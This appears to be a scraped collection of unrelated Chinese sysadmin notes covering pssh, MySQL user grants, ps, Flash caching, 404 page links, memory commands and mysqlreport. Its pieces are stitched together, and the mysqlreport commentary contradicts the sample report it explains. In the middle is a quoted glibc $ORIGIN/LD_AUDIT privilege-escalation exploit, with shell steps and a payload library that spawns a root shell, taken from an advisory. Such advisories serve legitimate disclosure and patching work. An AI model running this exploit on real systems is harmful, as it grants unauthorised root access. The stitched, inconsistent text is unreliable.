pssh 包安装 5 个实用程序:
pssh 在多个主机上并行地运行命令。
pscp 把文件并行地复制到多个主机上。
prsync 通过 rsync 协议把文件高效地并行复制到多个主机上。
pslurp 把文件并行地从多个远程主机复制到中心主机上。
pnuke 并行地在多个远程主机上杀死进程。
1.安装
wget http://parallel-ssh.googlecode.com/files/pssh-2.2.2.tar.gz
tar zxvf pssh-2.2.2.tar.gz
cd pssh-2.2.2
python setup.py install
2.简单使用
在使用之前需要配置密钥访问,如下:
#ssh-keygen #一直回车
#ssh-copy-id -i .ssh/id_rsa.pub root@192.168.16.X #复制公钥到远端服务器
ps.如果端口不是默认22 ,需要使用:ssh-copy-id -i .ssh/id_rsa.pub ”-p 4567 yin@192.168.16.X”
创建servers.txt文件:
192.168.16.1
192.168.16.2
luby@192.168.16.3:4567
[root@orkaudiobackup ~]# pssh -h servers.txt -l root -P uptime
192.168.16.X: 18:32:40 up 3 days, 7:07, 1 user, load average: 0.00, 0.00, 0.00
[1] 18:36:27 [SUCCESS] 192.168.16.X
可以用 CREATE USER 或 GRANT 创建用户,后者还同时分配相关权限。而 REVOKE 则用于删除用户权限,DROP USER 删除账户。
$ mysql -u root -ppassword:mysql> create database test; # 创建数据库Query OK, 1 row affected (0.00 sec)mysql> show databases; # 查看数据库是否创建成功+--------------------+| Database |+--------------------+| information_schema || mysql || test |+--------------------+3 rows in set (0.00 sec)mysql> grant all on test.* to user1@'%' identified by '123456' with grant option; # 创建特权管理用户Query OK, 0 rows affected (0.00 sec)mysql> select user,host from mysql.user; # 查看用户创建是否成功+------------------+-----------+| user | host |+------------------+-----------+| user1 | % || root | 127.0.0.1 || debian-sys-maint | localhost || root | localhost || root | server |+------------------+-----------+5 rows in set (0.00 sec)mysql> show grants for user1; # 查看用户权限+--------------------------------------------------------------------------------------------------+| Grants for user1@% |+--------------------------------------------------------------------------------------------------+| GRANT USAGE ON *.* TO 'user1'@'%' IDENTIFIED BY PASSWORD '*6BB...2CA2AD9' || GRANT ALL PRIVILEGES ON `test`.* TO 'user1'@'%' WITH GRANT OPTION |+--------------------------------------------------------------------------------------------------+2 rows in set (0.00 sec)
GRANT 语法:
GRANT privileges (columns) ON what TO user IDENTIFIED BY "password" WITH GRANT OPTION
权限列表:
- ALTER: 修改表和索引。
- CREATE: 创建数据库和表。
- DELETE: 删除表中已有的记录。
- DROP: 抛弃(删除)数据库和表。
- INDEX: 创建或抛弃索引。
- INSERT: 向表中插入新行。
- REFERENCE: 未用。
- SELECT: 检索表中的记录。
- UPDATE: 修改现存表记录。
- FILE: 读或写服务器上的文件。
- PROCESS: 查看服务器中执行的线程信息或杀死线程。
- RELOAD: 重载授权表或清空日志、主机缓存或表缓存。
- SHUTDOWN: 关闭服务器。
- ALL: 所有权限,ALL PRIVILEGES同义词。
- USAGE: 特殊的 "无权限" 权限。
用户账户包括 "username" 和 "host" 两部分,后者表示该用户被允许从何地接入。user1@'%' 表示任何地址,默认可以省略。还可以是 "user1@192.168.1.%"、"user1@%.abc.com" 等。数据库格式为 db@table,可以是 "test.*" 或 "*.*",前者表示 test 数据库的所有表,后者表示所有数据库的所有表。
子句 "WITH GRANT OPTION" 表示该用户可以为其他用户分配权限。
我们用 root 再创建几个用户,然后由 test 数据库的管理员 user1 为他们分配权限。
mysql> create user user2 identified by '123456', user3 identified by 'abcd';Query OK, 0 rows affected (0.00 sec)mysql> select user, host from mysql.user;+------------------+-----------+| user | host |+------------------+-----------+| user1 | % || user2 | % || user3 | % || root | 127.0.0.1 || debian-sys-maint | localhost || root | localhost || root | server |+------------------+-----------+7 rows in set (0.00 sec)
好了,我们退出改用 user1 登录并针对 test 数据库进行操作。
mysql> quit # 退出Bye$ mysql -u user1 -p123456 test # 使用新用户登录mysql> select database(); # 确认当前工作数据库+------------+| database() |+------------+| test |+------------+1 row in set (0.00 sec)mysql> select current_user(); # 确认当前工作账户+----------------+| current_user() |+----------------+| user1@% |+----------------+1 row in set (0.00 sec)
继续,创建一个数据表。
mysql> create table table1 # 创建表 -> ( -> name varchar(50), -> age integer -> );Query OK, 0 rows affected (0.02 sec)mysql> show tables; # 查看表是否创建成功+----------------+| Tables_in_test |+----------------+| table1 |+----------------+1 row in set (0.00 sec)mysql> describe table1; # 查看表结构+-------+-------------+------+-----+---------+-------+| Field | Type | Null | Key | Default | Extra |+-------+-------------+------+-----+---------+-------+| name | varchar(50) | YES | | NULL | || age | int(11) | YES | | NULL | |+-------+-------------+------+-----+---------+-------+2 rows in set (0.00 sec)mysql> insert into table1 values('Tom', 20); # 插入记录Query OK, 1 row affected (0.00 sec)mysql> select * from table1; # 查询记录+------+------+| name | age |+------+------+| Tom | 20 |+------+------+1 row in set (0.00 sec)
接下来我们为 user2, user3 分配权限。
mysql> grant select on test.* to user2; # 为 user2 分配 SELECT 权限。Query OK, 0 rows affected (0.00 sec)mysql> grant select on test.* to user3; # 为 user3 分配 SELECT 权限。Query OK, 0 rows affected (0.00 sec)mysql> grant insert, update on test.* to user2; # 再为 user2 增加 INSERT, UPDATE 权限。Query OK, 0 rows affected (0.00 sec)
好了,我们退出,切换成 user2 操作看看。
$ mysql -u user2 -p123456mysql> use test; # 切换工作数据库Reading table information for completion of table and column namesYou can turn off this feature to get a quicker startup with -ADatabase changedmysql> select database(); # 验证当前工作数据库+------------+| database() |+------------+| test |+------------+1 row in set (0.00 sec)mysql> select user(); # 验证当前账户+-----------------+| user() |+-----------------+| user2@localhost |+-----------------+1 row in set (0.00 sec)mysql> show grants for user2; # 查看当前用户权限,显然后来添加的 INSERT, UPDATE 被添加了。+--------------------------------------------------------------------------------------------------+| Grants for user2@% |+--------------------------------------------------------------------------------------------------+| GRANT USAGE ON *.* TO 'user2'@'%' IDENTIFIED BY PASSWORD '*6BB837....2C9' || GRANT SELECT, INSERT, UPDATE ON `test`.* TO 'user2'@'%' |+--------------------------------------------------------------------------------------------------+2 rows in set (0.00 sec)
进行操作测试。
mysql> insert into table1 values("Jack", 21); # INSERT 操作成功Query OK, 1 row affected (0.00 sec)mysql> update table1 set age=22 where name='Jack'; # UPDATE 操作成功Query OK, 1 row affected (0.00 sec)Rows matched: 1 Changed: 1 Warnings: 0mysql> select * from table1; # SELECT 操作成功+------+------+| name | age |+------+------+| Tom | 20 || Jack | 22 |+------+------+2 rows in set (0.00 sec)mysql> delete from table1 where age=22; # DELETE 操作无权限ERROR 1142 (42000): DELETE command denied to user 'user2'@'localhost' for table 'table1'
我们切换回 user1 管理账户,移除 user2 的 UPDATE 权限看看。
$ mysql -u user1 -p123456 testmysql> revoke update on test.* from user2; # 移除 UPDATE 权限Query OK, 0 rows affected (0.00 sec)
再次切换回 user2。
$ mysql -u user2 -p123456 testmysql> show grants for user2; # UPDATE 权限被移除+--------------------------------------------------------------------------------------------------+| Grants for user2@% |+--------------------------------------------------------------------------------------------------+| GRANT USAGE ON *.* TO 'user2'@'%' IDENTIFIED BY PASSWORD '*6B...2AD9' || GRANT SELECT, INSERT ON `test`.* TO 'user2'@'%' |+--------------------------------------------------------------------------------------------------+2 rows in set (0.00 sec)mysql> update table1 set age=23 where name='Jack'; # 不在拥有 UPDATE 权限ERROR 1142 (42000): UPDATE command denied to user 'user2'@'localhost' for table 'table1'
好了,到此我们基本完成了创建用户和分配权限的操作。接下来,我们回到 root 进行修改用户密码和删除用户操作。
$ mysql -u root -p123456mysql> set password for user3=password('abcabc'); # 修改用户 user3 密码Query OK, 0 rows affected (0.00 sec)mysql>flush privileges; # 刷新权限表(通常只在直接修改相关管理数据表后需要该操作)Query OK, 0 rows affected (0.00 sec)mysql> revoke all on *.* from user2; # 移除 user2 在所有数据库上的权限 Query OK, 0 rows affected (0.00 sec)mysql> drop user user2; # 删除 user2 账户Query OK, 0 rows affected (0.00 sec)mysql> select user,host from mysql.user; # 验证删除结果+------------------+-----------+| user | host |+------------------+-----------+| user1 | % || user3 | % || root | 127.0.0.1 || debian-sys-maint | localhost || root | localhost || root | server |+------------------+-----------+6 rows in set (0.00 sec)
用户 user2 无法再次使用。
$ mysql -u user2 -p123456 testERROR 1045 (28000): Access denied for user 'user2'@'localhost' (using password: YES)
试试 user3。
$ mysql -u user3 -pabc test # 连接失败!哦,对了,我们修改了密码。ERROR 1045 (28000): Access denied for user 'user3'@'localhost' (using password: YES)$ mysql -u user3 -pabcabc test # 新密码成功mysql> select * from table1; # SELECT 操作成功+------+------+| name | age |+------+------+| Tom | 20 || Jack | 22 |+------+------+2 rows in set (0.00 sec)
要修改自己的密码直接执行 "set password = password('new_password');" 即可。
------- 摘要 --------------------------------------
创建用户:
GRANT insert, update ON testdb.* TO user1@'%' IDENTIFIED BY 'password' WITH GRANT OPTION;CREATE USER user2 IDENTIFIED BY 'password';
分配权限:
GRANT select ON testdb.* TO user2;
查看权限:
SHOW GRANTS FOR user1;
修改密码:
SET PASSWORD FOR user1 = PASSWORD('newpwd');SET PASSWORD = PASSWORD('newpwd');
移除权限:
REVOKE all ON *.* FROM user1;
删除用户:
DROP USER user1;
数据库列表:
SHOW DATABASES;
数据表列表:
SHOW TABLES;
当前数据库:
SELECT DATABASE();
当前用户:
SELECT USER();
数据表结构:
DESCRIBE table1;
刷新权限:
FLUSH PRIVILEGES;
ps 为我们提供了进程的一次性的查看,它所提供的查看结果并不动态连续的;如果想对进程时间监控,应该用 top 工具。
kill 用于杀死进程。
1、ps 的参数说明
ps 提供了很多的选项参数,常用的有以下几个:
l 长格式输出;
u 按用户名和启动时间的顺序来显示进程;
j 用任务格式来显示进程;
f 用树形格式来显示进程;
a 显示所有用户的所有进程(包括其它用户);
x 显示无控制终端的进程;
r 显示运行中的进程;
ww 避免详细参数被截断;
我们常用的选项是组合是 aux 或 lax,还有参数 f 的应用。
2、ps aux 或 lax 输出的解释
USER 进程的属主;
PID 进程的ID;
PPID 父进程;
%CPU 进程占用的CPU百分比;
%MEM 占用内存的百分比;
NI 进程的NICE值,数值大,表示较少占用CPU时间;
VSZ 进程虚拟大小;
RSS 驻留中页的数量;
TTY 终端ID
STAT 进程状态(有以下几种)
D 无法中断的休眠状态(通常 IO 的进程);
每次制作含有FLASH的页面时。当FLASH更新后。都必须在IE缓存里清空一次。才能看到更新后的FLASH在页面中的效果。这让我很麻烦。解决方案:
使用以下的方法,使SWF文件强制不从浏览器读本地的缓存。或强制其SWF文件每次都去 读取最新的媒体文件
确保每次都读取最新的SWF文件
1:使用"Expires"标头 这是在HTML文件中告诉浏览器不读取本地缓存
在<head> </head> 中间加以下代码
<!-- BEGIN INSERT -->
<META HTTP-EQUIV="Expires" CONTENT="Mon, 04 Dec 1999 21:29:02 GMT">
<!-- END INSERT -->
这样的话,每次访问这个文件都会告诉浏览器其缓存版本过期,将重新从服务器端读取最新的文件
2:直接告诉浏览器根本就没有缓存
在包含SWF文件的HTML页面里的</body>插入:
<!-- BEGIN INSERT -->
<HEAD>
<META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">
</HEAD>
<!-- END INSERT -->
没有Cache标头 不支持IE5版本,所以微软建议使用带Cacahe控制标头
3:当在HTML页面间连接跳转时
在点击超连接时将强制其从服务器上下载最新文档而不是从本地缓存中浏览
例如:
<A HREF="stockPrices.htm?1">Current stock prices</A>
以上方法将阻止读取本地缓存
如何阻止从缓存中读取加载变量
问题:
当从外部数据源加载数据时,有时浏览器将数据存贮在本地缓存中,这样就导致在调用loadVariables方法加载数据时会从本地缓存中读取数据而代替从原始数据读取的信息。
解决:
为确保flash加载的是最新的变量,附加一个随机数变量,这样就可以原始档中加载最新的数据
例如:
方法一:
loadVariables("mypage.asp?nocache=" + random(65000), 0, "POST");
方法二:
loadVariables("mypage.asp?nocache=" + getTimer(), 0, "POST");
这样确保每次加载的数据是最新的.
今天给大家带来的一些设计的非常有创意的404错误页面,这些网站设计者都将微软默认的404错误显示页面替换成了非常具有自己网站特色风格的页面,有些页面甚至还带有声音,让没有找到需求信息的郁闷访问者看了也会不由自主的会心一笑,可能对网站的不爽也就暂时抛弃脑后了。

http://www.boredpanda.com/404
http://www.catswhocode.com/blog/404
http://www.limpfish.com/404
http://homestarrunner.com/404
http://www.thetruth.com/404
http://www.heinz.com/404
http://dazeofourlives.com/404
http://www.acorncreative.com/404
http://seecoy.com/hereIsOneYouMissed
http://24-7media.de/saadasd
http://retardzone.com/sdfsdf
http://www.dawdle.com/error_page.php
http://www.centerd.com/error.html
http://www.southparkstudios.com/404
http://www.larknews.com/july_2004/5.html
http://www.ddz.net/404/index.htm
http://www.lightpostcreative.com/404
http://www.lileks.com/404
http://www.nickciske.com/404.htm
http://renkoo.com/404.html
http://abduzeedo.com/4023
http://patterntap.com/404
http://sendables.jibjab.com/rfrreerer
http://www.funned.net/404
http://www.zivity.com/404
先说下free命令怎么看内存
[root@yuyii proc]# free
total used free shared buffers cached
Mem: 515588 295452 220136 0 2060 64040
-/+ buffers/cache: 229352 286236
Swap: 682720 112 682608
其中第一行用全局角度描述系统使用的内存状况:
total——总物理内存
used——已使用内存,一般情况这个值会比较大,因为这个值包括了cache+应用程序使用的内存
free——完全未被使用的内存
shared——应用程序共享内存
buffers——缓存,主要用于目录方面,inode值等(ls大目录可看到这个值增加)
cached——缓存,用于已打开的文件
note:
total=used+free
used=buffers+cached (maybe add shared also)
第二行描述应用程序的内存使用:
前个值表示-buffers/cache——应用程序使用的内存大小,used减去缓存值
后个值表示+buffers/cache——所有可供应用程序使用的内存大小,free加上缓存值
note:
-buffers/cache=used-buffers-cached
+buffers/cache=free+buffers+cached
第三行表示swap的使用:
used——已使用
free——未使用
cache释放:
To free pagecache:
echo 1 > /proc/sys/vm/drop_caches
To free dentries and inodes:
echo 2 > /proc/sys/vm/drop_caches
To free pagecache, dentries and inodes:
echo 3 > /proc/sys/vm/drop_caches
说明,释放前最好sync一下,防止丢数据。
Please note, this is a low impact vulnerability that is only of interest to
security professionals and system administrators. End users do not need
to be concerned.
Exploitation would look like the following.
# Create a directory in /tmp we can control.
$ mkdir /tmp/exploit
# Link to an suid binary, thus changing the definition of $ORIGIN.
$ ln /bin/ping /tmp/exploit/target
# Open a file descriptor to the target binary (note: some users are surprised
# to learn exec can be used to manipulate the redirections of the current
# shell if a command is not specified. This is what is happening below).
$ exec 3< /tmp/exploit/target
# This descriptor should now be accessible via /proc.
$ ls -l /proc/$$/fd/3
lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target*
# Remove the directory previously created
$ rm -rf /tmp/exploit/
# The /proc link should still exist, but now will be marked deleted.
$ ls -l /proc/$$/fd/3
lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted)
# Replace the directory with a payload DSO, thus making $ORIGIN a valid target to dlopen().
$ cat > payload.c
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
^D
$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
$ ls -l /tmp/exploit
-rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*
# Now force the link in /proc to load $ORIGIN via LD_AUDIT.
$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
sh-4.1# whoami
root
sh-4.1# id
uid=0(root) gid=500(taviso)
漏洞解决方法(这是由GCC引发的一个漏洞):
升级:glibc>
进行MySQL的配置优化,首先必须找出MySQL的性能瓶颈所在;而SHOW STATUS输出的报告正是用来计算性能瓶颈的参考数据。mysqlreport不像SHOW STATUS那样简单的罗列数据,而是对这些参考数据加以融合计算,整理成一个个优化参考点,然后DBA就可以根据这个优化参考点的值以及该点的衡量标准,进行对应调整。这篇文章既不分析mysqlreport的报告含义,也不说明优化参考点的计算公式和原理,只简单描述使用方法。后面再逐次深入分析。
mysqlreport主页和下载地址
web site:http://hackmysql.com/mysqlreport
download:http://hackmysql.com/scripts/mysqlreport
yum install perl-DBD-MySQL
mysqlreport命令行选项参数
linux-8tpn:/home/kevin/perl # perl mysqlreport --help
mysqlreport v3.5 Apr 16 2008
mysqlreport makes an easy-to-read report of important MySQL status values.
Command line options (abbreviations work):
--user USER Connect to MySQL as USER
--password PASS Use PASS or prompt for MySQL user's password
--host ADDRESS Connect to MySQL at ADDRESS
--port PORT Connect to MySQL at PORT
--socket SOCKET Connect to MySQL at SOCKET
--no-mycnf Don't read ~/.my.cnf
--infile FILE Read status values from FILE instead of MySQL
--outfile FILE Write report to FILE
--email ADDRESS Email report to ADDRESS (doesn't work on Windows)
--flush-status Issue FLUSH STATUS; after getting current values
--relative X Generate relative reports. If X is an integer,
reports are live from the MySQL server X seconds apart.
If X is a list of infiles (file1 file2 etc.),
reports are generated from the infiles in the order
that they are given.
--report-count N Collect N number of live relative reports (default 1)
--detach Fork and detach from terminal (run in background)
--help Prints this
--debug Print debugging information
Visit http://hackmysql.com/mysqlreport for more information
选项 解释
- -user 连接MySQL的用户名
- -password 连接MySQL的用户密码。命令行上出现该选项但没有给出参数时,mysqlreport将在用户回车后提示输入密码
- -host MySQL服务器地址
- -port MySQL服务器的开发端口
- -socket 本地MySQL UNIX域套接口路径
- -no-mycnf 该选项指引mysqlreport不要读取 ~/.my.cnf,默认情况下会去读取这个文件。- -user 和 - -password 总是覆盖从 ~/.my.cnf 中取得的参数
- -infile 从status文件读取数据,代替从服务器上读取
- -outfile 打印报告后,将报告同时写入该选项指定的文件中。mysqlreport 的内部机制总是先将报告写入临时文件中,然后将该临时文件里的内容打印到屏幕上。如果指定了- -outfile选项,则将临时文件拷贝成 指定的文件。如果指定了选项- -email,则会删除临时文件
- -email 打印报告后,将结果发送到指定的邮箱。该选项需要使用/usr/sbin/目录下的sendmail程序,因此无法在windows 平台下使用。/usr/sbin/sendmail可以符号链接到 qmail,或者任何其他能模拟sendmail -t方式的MTA程序。邮件来源是:mysqlreport,主题是:MySQL status report on HOST,HOST是mysqlreport所在的主机名,可能是读取到的- -host值,默认是localhost
- -flush-status 打印报告后,运行FLUSH STATUS命令
- -relative mysqlreport通常产生从MySQL启动以来的状态报告。指定- -relative选项可产生相对于前次报告以来的相关报告。
如果选项参数是一个整数,程序每隔指定的秒数后再次产生一份状态报告,报告次数由- -report-count选项指定。默认产生1份相关报告。例如,指定- -relative的值为60,则会产生2份报告:第一份基本报告马上生成,第二份相关报告在60秒后生成。第二份报告中的数值和前面的那份相关。例如,前者总共有10.00k次查询,在这60秒的间隔时间里接受了新的1.00k次查询,则后者的总查询次数是1.00k而非11.00k次。
如果选项参数是本地文件列表(就像- -infile选项那样),程序会按照参数中文件的顺序来依次产生状态报告。文件列表中的文件应该以空格分隔。以文件产生时间依次排列文件就显得很重要,较早产生的文件应该放在列表的前面。第一个文件中必须有系统变量,例如:key_buffer_size、table_cache 等。每个文件中可以有多组”SHOW STATUS”的结果。注意:通过 “mysqladmin -r -i N extended” 产生的状态文件无法使用,因为 mysqladmin的-r参数已经令其产生了具有相对性的状态值了。
由于mysqlreport首先会把状态报告写到临时文件中,如果- -relative的参数是整数时,mysqlreport会显示它把文件写到哪了。那么就可以直接通过查看这些文件内容来观察服务器的状况
- -report-count 生成N份相关的报告。本选项只有在同时启用- -relative选项后才有效。mysqlreport会自动产生N+1份报告:第一份基本报告,以及后面的N份相关报告
- -detach 本选项使得mysqlreport派生新进程,从终端上脱离转入后台继续运行。派生新进程后,mysqlreport 会报告它把结果写入了哪个临时文件。本选项需要- -outfile或- -email中的一个,如果这两个选项都没有给出,则产生的临时文件就会被删除,因为自派生出新进程后,无法再将结果打印到终端屏幕上了。本选项如果和- -relative选项一起使用的话就更有意义了,这样mysqlreport就能定时报告信息,而无需人工干预获得报告。例如使用如下命令,就能让mysqlrepot隔一个小时再次产生一次报告,并将结果发送到指定的信箱:perl mysqlreport - -relative=3600 - -detach - -email=host@domain.com。一个小时候后,mysqlreport通过email发送报告,删除临时文件,并且干净地终止
- -help 打印帮助信息
- -debug 打印调试信息
使用mysqlreport的简单例子
1.连接远程数据库192.168.12.14
perl mysqlreport - -host=192.168.12.14 - -user=db_user - -password=db_user_password
2.通过本地UNIX域套接口文件/data/mysql_data/mysql.sock连接本地数据库
perl mysqlreport - -user=root - -password=root_password - -socket=/data/mysql_data/mysql.sock
3.将输出报告写入文件/data/mysql_data/report/mysqlreport.txt
perl mysqlreport - -user=root - -password=root_password - -socket=/data/mysql_data/mysql.sock - -outfile=/data/mysql_data/report/mysqlreport.txt
报告说明:
# /usr/local/mysql/bin/mysqlreport --user root -password password
- Use of uninitialized value in multiplication (*) at /usr/local/mysql/bin/mysqlreport line 829.
- Use of uninitialized value in formline at /usr/local/mysql/bin/mysqlreport line 1227.
- MySQL 5.1.34-log uptime 0 1:31:10 Fri Jan 15 12:39:12 2010
- __ Key _________________________________________________________________
- Buffer used 12.33M of 256.00M %Used: 4.81
- Current 41.80M %Usage: 16.33
- Write hit 52.74%
- Read hit 99.74%
- __ Questions ___________________________________________________________
- Total 434.70k 79.5/s
- DMS 265.94k 48.6/s %Total: 61.18
- QC Hits 166.09k 30.4/s 38.21
- +Unknown 1.09k 0.2/s 0.25
- Com_ 1.08k 0.2/s 0.25
- COM_QUIT 495 0.1/s 0.11
- Slow 1 s 89 0.0/s 0.02 %DMS: 0.03 Log: ON
- DMS 265.94k 48.6/s 61.18
- SELECT 149.52k 27.3/s 34.40 56.22
- UPDATE 115.33k 21.1/s 26.53 43.37
- INSERT 899 0.2/s 0.21 0.34
- DELETE 193 0.0/s 0.04 0.07
- REPLACE 0 0/s 0.00 0.00
- Com_ 1.08k 0.2/s 0.25
- change_db 446 0.1/s 0.10
- set_option 396 0.1/s 0.09
- show_status 115 0.0/s 0.03
- __ SELECT and Sort _____________________________________________________
- Scan 190 0.0/s %SELECT: 0.13
- Range 45.43k 8.3/s 30.38
- Full join 0 0/s 0.00
- Range check 0 0/s 0.00
- Full rng join 0 0/s 0.00
- Sort scan 11 0.0/s
- Sort range 8.39k 1.5/s
- Sort mrg pass 0 0/s
- __ Query Cache _________________________________________________________
- Memory usage 63.62M of 256.00M %Used: 24.85
- Block Fragmnt 6.68%
- Hits 166.09k 30.4/s
- Inserts 149.29k 27.3/s
- Insrt:Prune 149.29k:1 27.3/s
- Hit:Insert 1.11:1
- __ Table Locks _________________________________________________________
- Waited 3.76k 0.7/s %Total: 1.41
- Immediate 262.48k 48.0/s
- __ Tables ______________________________________________________________
- Open 40 of 512 %Cache: 7.81
- Opened 58 0.0/s
- __ Connections _________________________________________________________
- Max used 8 of 500 %Max: 1.60
- Total 497 0.1/s
- __ Created Temp ________________________________________________________
- Disk table 1 0.0/s
- Table 144 0.0/s Size: 256.0M
- File 6 0.0/s
- __ Threads _____________________________________________________________
- Running 1 of 5
- Cached 3 of 32 %Hit: 98.39
- Created 8 0.0/s
- Slow 0 0/s
- __ Aborted _____________________________________________________________
- Clients 0 0/s
- Connects 6 0.0/s
- __ Bytes _______________________________________________________________
- Sent 173.88M 31.8k/s
- Received 49.21M 9.0k/s
- __ InnoDB Buffer Pool __________________________________________________
- Usage 304.00k of 8.00M %Used: 3.71
- Read hit 84.81%
- Pages
- Free 493 %Total: 96.29
- Data 19 3.71 %Drty: 0.00
- Misc 0 0.00
- Latched 0.00
- Reads 79 0.0/s
- From file 12 0.0/s 15.19
- Ahead Rnd 1 0.0/s
- Ahead Sql 0 0/s
- Writes 0 0/s
- Flushes 0 0/s
- Wait Free 0 0/s
- __ InnoDB Lock _________________________________________________________
- Waits 0 0/s
- Current 0
- Time acquiring
- Total 0 ms
- Average 0 ms
- Max 0 ms
- __ InnoDB Data, Pages, Rows ____________________________________________
- Data
- Reads 25 0.0/s
- Writes 3 0.0/s
- fsync 3 0.0/s
- Pending
- Reads 0
- Writes 0
- fsync 0
- Pages
- Created 0 0/s
- Read 19 0.0/s
- Written 0 0/s
- Rows
- Deleted 0 0/s
- Inserted 0 0/s
- Read 0 0/s
- Updated 0 0/s
Report Header: Line 1
报表的第一行包含了三样不同的资讯:MySQL Server 的版本、自上次啟动后已经过多少时间、目前 Server 的日期与时间。有些人会定时让系统自动产生报表(eg. cron)然后用程序去分析进行分析,此时表头将可用来协助您辨识出不同时间点的报表。对於那些租用或使用虚拟主机的管理者,表头可以协助您了解自己所需面对的是什么样的 Server。MySQL Server 版本可以指出该 Server 有提供或没有提供那些功能,而它的 Uptime 则表示该报表具有多大的代表性。Uptime 是重要的指标,可让您了解此份报表所包含的资讯是否可能有偏误,一般来说 Uptime 最少要有一小时会比较适当,甚至光是一小时其实也还不够。例如您的 Server 可能已执行了六个小时,但此六小时皆是在使用率最低的午夜,此时产生出的报表就很不具有代表性。最理想的情况下,你会希望 MySQL Server 至少已经执行了一整天,这样子一来你就可以确定报表中的资讯已包含了 Server 负载的高峰与低峰期,而不是只包含其中之一。在范例报表中 Server 只执行了 34 分鐘,因此该报表的代表性是不足的,但因为这只是用来做范例,也就没什么关係。
Key Report: Lines 3 - 7
第一个主要报告区块就是 Key Report,因为 Key(Indexes, 索引)是所有资讯中最重要的一项。虽然此报表无法告知您 Server 是否有善用 Index,但它可以告诉您 Server 对於 Shared Key Buffer 的使用状态。请注意,这里所指的 Key Buffer 是指 MyISAM Storage Engine 所使用的 Shared Key Buffer,InnoDB 所使用的 Key Buffer 并不包含在内。
MySQL Server 支援许多种不同类型的资料表(比较正式的说法是 Storage Engine),你可以将它们想像为各种不同的资料结构,而不同的 Storage Engine 各有其优缺点。其中 MySQL Server 预设是使用 MyISAM Storage Engine。
MySQL Server 的 Buffer 大略可分为二种:
1. Global Buffer:由所有 Client 所共用的 Buffer
key_buffer
innodb_buffer_pool
innodb_log_buffer
innodb_additional_mem_pool
net_buffer ...等等
2. Thread Buffer:个别的 Connection 所需佔用的 Buffer
例如:
sort_buffer
myisam_sort_buffer
read_buffer
join_buffer
read_rnd_buffer ...等等
计算 Server 至少需使用的总记忆体数量的方式为:
min_memory_needed = global_buffer + (thread_buffers * max_connection)
关於 MySQL 的 Cache 机制有一点需要特别注意,各位应该都知道 MyISAM Storage Engine 将每个 table 分成三个档案储存在硬盘之中,例如若您有一个资料表的名称为 example,那么您就会在硬盘上发现 example.FRM, example.MYD, example.MYI 等三个档案。这三个档案所储存的资料如下:
FRM: 储存这个资料表的结构
MYD: Row Data,也就是你存在 example 资料表里的资料
MYI: 此资料表的索引
接下来是重点:
当 MySQL 要 Cache 某个资料表时,请问 MySQL 会 Cache 哪些资料?
答案是:
MySQL 只会 Cache 索引,也就是 *.MYI 档案,而 Row Data(*.MYD) 则是交由作业系统来负责 Cache。
接下来我们再回到 Key Buffer,有个很重要的问题我们一直没有回答,就是『到底 Key Buffer 要设定多少才够呢?』。如前所述,MySQL 只会 Cache 索引(*.MYI),因此您只要将资料库中所有的 MYI 档案加总起来,你就会知道大概要设为多少。
Buffer used: Line 4
身为 MySQL 的管理者您通常会问的第一个问题是:『Server 到底用掉了多少 key buffer?』。如果您发现 MySQL 只使用了一小部份的 Key Buffer,这并不是什么需要注意的问题,因为 MySQL 只会在需要的时候才实际分配与使用 System RAM。也就是说,当你设定 MySQL 可使用 512MB 的 RAM 时,并不代表 MySQL 啟动的时候将佔用 512MB 的 RAM(只有在 MySQL 认为需要这么做的时候才会)。报表中的第四行(Buffer used)指出 MySQL "曾经" 耗用过的最大记忆体数量,因此目前 "正在使用" 的记忆体数量有可能少於(甚至大於)这个数字。MySQL 称此数值为 "High Water Mark",但在报表的下一行我们将会看到它并不总是如此。无论如何,从 Buffer used 我们通常可以看出 key_buffer_size 这个系统变数值是否设定的够大,如果你的 MySQL 已经使用了 80~90% 以上的 Key Buffer,你就应该要调高 key_buffer_size。注意,Buffer used 永远不会有使用率超过 95% 的情况,因为 MySQL 的官方文件中指出 Share Key Buffer 中有部份将会挪用给内部资料结构使用,因此当 Buffer used 指出 Share Key Buffer 的使用率高达 95% 时,其实在实务上等於是已使用了 100% 的 Share Key Buffer。在这个例子中 Server 只使用了 380KB(0.07%) 的 Share Key Buffer,看到这里也许您会判断 Server 的 Share Key Buffer 是十分充足的,但请勿太早下定论,我们必须要接著考量报表中的下一行才能做出客观的判断......。
Current: Line 5
mysqlreport 使用 Key_blocks_unused 这个系统变数来决定目前 MySQL "正在使用" 的 Share Key Buffer 大小,只有在 MySQL Server 4.1.2 以上的版本才会有这个功能。如果报表中的上一行(Buffer used)真的有如 MySQL 官方文件中所说的是 "High Water Mark",那么 Current 所载明的数值应该永远会小於或等於它。但在接下来的例子中我们将会看到,事情并不总是如此。目前这台 Server 已经使用了大约 60MB(12%) 的 Share Key Buffer,这是一个好现象因为它代表了你的 Share Key Buffer 仍然十分充足。Current 与 Buffer used 合在一起看即可提供一个很有用的指标,告诉您目前的 key_buffer_size 是否充足。
设定 key_buffer_size 的方式也很简单,只要直接修改 MySQL 的设定档然后重新啟动 Server 即可。例如若要将 Key Buffer 设定为 2000MB,则只要在 /etc/my.cnf 中加上:
[mysqld]
key_buffer_size=2000M
Write ratio: Line 6
索引(Indexes, Keys)主要是在记忆体内(RAM-Based)进行操作的,索引之所以如此有用有部份原因就归功於它们主要是在 RAM 里面运作,因此拥有极高的存取性能,不像储存在硬盘中的资料存取速度非常慢。然而,不可否认的是 MySQL 终究还是必须从硬盘中将索引读入 RAM 或是将储存在 RAM 中的索引写回硬盘之中。Write ratio 标示著 MySQL 将索引写入硬盘与 MySQL 将索引写入 RAM 的比值(Write Ratio = MySQL 将索引写入硬盘的次数 / MySQL 将索引写入 RAM 的次数)。具有接近於 1 的 Write Ratio 并不是一件很罕见的事,就像 MySQL 官方手册中所说的,如果你的 MySQL 最主要的活动是 Update、Insert 等等,那么 Write Ratio 将会很接近於 1。Write Ratio 若大於 1 表示 MySQL 将索引写入硬盘的次数大於将索引写入 RAM 的次数,很少有 MySQL Server 的 Write Ratio 会大於 1,绝大部份都应该会小於 1,即便是负载非常重的 Server。
